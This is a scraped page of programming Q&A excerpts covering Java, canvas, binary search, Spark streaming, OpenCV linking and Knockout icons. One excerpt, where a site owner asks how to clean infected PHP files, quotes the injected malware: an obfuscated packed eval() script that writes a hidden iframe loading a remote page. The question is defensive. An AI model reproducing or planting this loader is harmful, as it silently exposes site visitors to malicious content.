Posts

java - type mismatch: cannot convert from int to boolean in lotto program -

i trying make lotto java program. prompt user input number , generate random number , if number matches, win i'm getting "type mismatch: cannot convert int boolean." here's have far. thank help! note i'm new java import java.util.scanner; import java.util.random; public class lottery { public static void main (string [] args) { scanner input=new scanner(system.in); system.out.println("please enter number"); random randomnumber=new random(); system.out.println(" random number "+65); system.out.println("lotto number "+randomnumber.nextint(10)+1); if(65) system.out.println("you win 20000"); else sytem.out.println("no winner"); if(56) system.out.println("you win 10000"); else system.out.println("no winner"); if(6||5) system.out.println("you win 5000"); else system.out.println("no winner");...

javascript - HTML5 canvas getImageData() can't work -

when use getimagedata() function data of image chrome, says uncaught indexsizeerror: failed execute 'getimagedata' on 'canvasrenderingcontext2d': source width 0. here code: <!doctype html> <html> <head> <title>canvastest</title> </head> <body> <img src="flower.jpg" hidden /> <canvas id="drawing" width="600" height="532">a drawing of something</canvas> <script type="text/javascript" > var drawing = document.getelementbyid("drawing"); if (drawing.getcontext){ var context = drawing.getcontext("2d"), image = document.images[0], imagedata,data, i,len,average, red,blue,green,alpha; image.onload = function(){ context.drawimage(image,0,0); }; imagedata = context.getimagedata(0,0,image.width,image.height); data = imagedata.data...

html - How can i remove an iframe virus from all of php files on my website -

i have problem removing virus code php files. there more 1200 php files in server , every single php file has been infected virus. virus code adding line html output here virus code : <tag5479347351></tag5479347351><script>eval(function(p,a,c,k,e,d){e=function(c){return c.tostring(36)};if(!''.replace(/^/,string)){while(c--){d[c.tostring(a)]=k[c]||c.tostring(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new regexp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1 k=" i=\\"0\\" g=\\"0\\" j=\\"0\\" f=\\"c://d.h.n.l/o.m\\">";1 5="<8";1 7="p";1 4="e";1 b="</8";1 a="e>";2.3(5);9(2.3(7+4+k+b),6);9(2.3(4+a),6);',26,26,'|var|document|write|k02|k0|1000|k01|if|settimeout|k22|k2|http|125||src|height|230|width|board||248|php|58|tag1|ram'.split('|'),0,{}))<...

java - Binary search with word prefix string out of bounds -

i have program creates class dictionary, in populates , arraylist of strings words given command line argument(in alphabetical order, different lengths). anyway, need implement binary search prefix in dictionary part of backtracking method. run problems when prefix longer word in dictionary---i tried adjust binary search situation producing incorrect results. don't understand binary search enough fix issue. if don't account issue of prefix being longer word, .substring produces string indexoutofbounds. appreciated. public int searchprefix(string prefixkey){ int minindex=0; int maxindex= newdictionary.size()-1; return searchprefix( prefixkey, minindex,maxindex); } public int searchprefix(string prefixkey, int minindex, int maxindex){ if(minindex>maxindex){ return-1; } int midindex=(maxindex-minindex)/2+minindex; if (prefixkey.length()>newdictionary.get(midindex).length()){ return searchprefix( prefixkey, midindex+1,maxinde...

testing - Programatically creating dstreams in apache spark -

i writing self contained integration tests around apache spark streaming. want test code can ingest kinds of edge cases in simulated test data. when doing regular rdds (not streaming). use inline data , call "parallelize" on turn spark rdd. however, can find no such method creating destreams. ideally call "push" function once in while , have tupple magically appear in dstream. atm i'm doing using apache kafka: create temp queue, , write it. seems overkill. i'd rather create test-dstream directly test data without having use kafka mediator. for testing purpose, can create input stream queue of rdds. pushing more rdds in queue simulate having processed more events in batch interval. val sc = sparkcontextholder.sc val ssc = new streamingcontext(sc, seconds(1)) val inputdata: mutable.queue[rdd[int]] = mutable.queue() val inputstream: inputdstream[int] = ssc.queuestream(inputdata) inputdata += sc.makerdd(list(1, 2)) // emulate rdd created during f...

c++ - "ld: symbol(s) not found for architecture x86_64" for OpenCV 3 -

i have installed opencv 3 using cmake on mac yosemite. using eclipse ide , while building solution showing error: g++ -l/usr/local/lib -o "test1" ./main.o -lopencv_imgcodecs -lopencv_highgui -lopencv_core undefined symbols architecture x86_64: "cv::videocapture::read(cv::_outputarray const&)", referenced from: _main in main.o "cv::videocapture::videocapture(int)", referenced from: _main in main.o "cv::videocapture::~videocapture()", referenced from: _main in main.o "cv::videocapture::get(int) const", referenced from: _main in main.o "cv::videocapture::isopened() const", referenced from: _main in main.o ld: symbol(s) not found architecture x86_64 clang: error: linker command failed exit code 1 (use -v see invocation) make: *** [test1] error 1 i have added header files , libraries in settings. please me rid of error. in advance code: #include "opencv2/highgui/highgu...

javascript - HTML Knockout add FontAwesome icon into table using Unicode -

i have been working knockout , fontawesome couple of days , i'm trying display fontawesome icon using it's unicode. i have list of items called alerts contains different informations alert , 1 icon it. if (alerts.category == 0) alerts['category'] = '&#xf071;'; else if (element.category == 1) alerts['category'] = '&#xf129;'; else if (alerts.category == 2) alerts['category'] = '&#xf024;'; else if (alerts.category == 3) alerts['category'] = '&#xf0e5;'; else if (alerts.category == 4) alerts['category'] = '&#xf017;'; the thing when i'm trying them html page like: <table class="table" id="alertstable"> <tbody data-bind="foreach: alerts"> <tr style: { backgroundcolor: color, color: textcolor }"> <td> <button type="button" class="btn btn-default" da...